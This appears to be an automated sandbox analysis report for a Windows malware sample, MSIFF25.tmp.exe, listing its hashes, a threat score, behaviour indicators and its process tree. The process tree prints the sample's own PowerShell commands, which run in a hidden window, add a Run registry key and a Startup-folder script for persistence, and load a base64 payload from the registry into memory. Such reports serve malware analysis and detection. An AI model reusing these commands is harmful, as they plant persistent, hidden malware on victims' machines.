Analysis
-
max time kernel
144s -
max time network
153s -
platform
windows7_x64 -
resource
win7 -
submitted
07-07-2020 18:29
Static task
static1
Behavioral task
behavioral1
Sample
MSIFF25.tmp.exe
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
MSIFF25.tmp.exe
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
MSIFF25.tmp.exe
-
Size
128KB
-
MD5
a6f7c0e5ca9c0851ca59d54ef99d49ce
-
SHA1
1f8b93a7abc52fe39f26458d93554f4d425e3024
-
SHA256
702221e0753dc7bdae96ab782721c0e3a58d5d51d15f74af56c662f92f120125
-
SHA512
e0380ed25c10d3898c70876867b3789b052439e47f447ec2fdb55f4f4b87fdb2a37cfac274c511881952b3be9307d83f1b48f89f2215d44e04459988d384b425
Score
8/10
Malware Config
Signatures
-
Suspicious use of WriteProcessMemory 42 IoCs
description pid Process procid_target PID 1496 wrote to memory of 1600 1496 MSIFF25.tmp.exe 24 PID 1496 wrote to memory of 1600 1496 MSIFF25.tmp.exe 24 PID 1496 wrote to memory of 1600 1496 MSIFF25.tmp.exe 24 PID 1496 wrote to memory of 1600 1496 MSIFF25.tmp.exe 24 PID 1496 wrote to memory of 1600 1496 MSIFF25.tmp.exe 24 PID 1496 wrote to memory of 1600 1496 MSIFF25.tmp.exe 24 PID 1496 wrote to memory of 1600 1496 MSIFF25.tmp.exe 24 PID 1600 wrote to memory of 308 1600 WScript.exe 25 PID 1600 wrote to memory of 308 1600 WScript.exe 25 PID 1600 wrote to memory of 308 1600 WScript.exe 25 PID 1600 wrote to memory of 308 1600 WScript.exe 25 PID 1600 wrote to memory of 308 1600 WScript.exe 25 PID 1600 wrote to memory of 308 1600 WScript.exe 25 PID 1600 wrote to memory of 308 1600 WScript.exe 25 PID 308 wrote to memory of 1784 308 powershell.exe 27 PID 308 wrote to memory of 1784 308 powershell.exe 27 PID 308 wrote to memory of 1784 308 powershell.exe 27 PID 308 wrote to memory of 1784 308 powershell.exe 27 PID 308 wrote to memory of 1784 308 powershell.exe 27 PID 308 wrote to memory of 1784 308 powershell.exe 27 PID 308 wrote to memory of 1784 308 powershell.exe 27 PID 1784 wrote to memory of 1848 1784 wscript.exe 28 PID 1784 wrote to memory of 1848 1784 wscript.exe 28 PID 1784 wrote to memory of 1848 1784 wscript.exe 28 PID 1784 wrote to memory of 1848 1784 wscript.exe 28 PID 1784 wrote to memory of 1848 1784 wscript.exe 28 PID 1784 wrote to memory of 1848 1784 wscript.exe 28 PID 1784 wrote to memory of 1848 1784 wscript.exe 28 PID 1784 wrote to memory of 1884 1784 wscript.exe 30 PID 1784 wrote to memory of 1884 1784 wscript.exe 30 PID 1784 wrote to memory of 1884 1784 wscript.exe 30 PID 1784 wrote to memory of 1884 1784 wscript.exe 30 PID 1784 wrote to memory of 1884 1784 wscript.exe 30 PID 1784 wrote to memory of 1884 1784 wscript.exe 30 PID 1784 wrote to memory of 1884 1784 wscript.exe 30 PID 1784 wrote to memory of 1920 1784 wscript.exe 32 PID 1784 wrote to memory of 1920 1784 wscript.exe 32 PID 1784 wrote to memory of 1920 1784 wscript.exe 32 PID 1784 wrote to memory of 1920 1784 wscript.exe 32 PID 1784 wrote to memory of 1920 1784 wscript.exe 32 PID 1784 wrote to memory of 1920 1784 wscript.exe 32 PID 1784 wrote to memory of 1920 1784 wscript.exe 32 -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 308 powershell.exe Token: SeDebugPrivilege 1848 powershell.exe Token: SeDebugPrivilege 1884 powershell.exe Token: SeDebugPrivilege 1920 powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 308 powershell.exe 308 powershell.exe 1848 powershell.exe 1884 powershell.exe 1920 powershell.exe 1884 powershell.exe 1848 powershell.exe 1920 powershell.exe -
Blacklisted process makes network request 11 IoCs
flow pid Process 3 1920 powershell.exe 6 1920 powershell.exe 7 1920 powershell.exe 8 1920 powershell.exe 9 1920 powershell.exe 12 1920 powershell.exe 13 1920 powershell.exe 14 1920 powershell.exe 15 1920 powershell.exe 16 1920 powershell.exe 17 1920 powershell.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\microsoft.vbs powershell.exe -
Adds Run entry to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\microsoft.vbs" powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\MSIFF25.tmp.exe"C:\Users\Admin\AppData\Local\Temp\MSIFF25.tmp.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\microsoft.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\microsoft.vbs',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\RarSFX0\microsoft.vbs'));wscript 'C:\Users\Admin\AppData\Roaming\microsoft.vbs'"3⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:308 -
C:\Windows\SysWOW64\wscript.exe"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\microsoft.vbs4⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\Admin\AppData\Roaming\microsoft.vbs' -PropertyType String -Force;"5⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Adds Run entry to start application
PID:1848
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\microsoft.vbs',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\microsoft.vbs'))"5⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops startup file
PID:1884
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"5⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:1920
-
-
-
-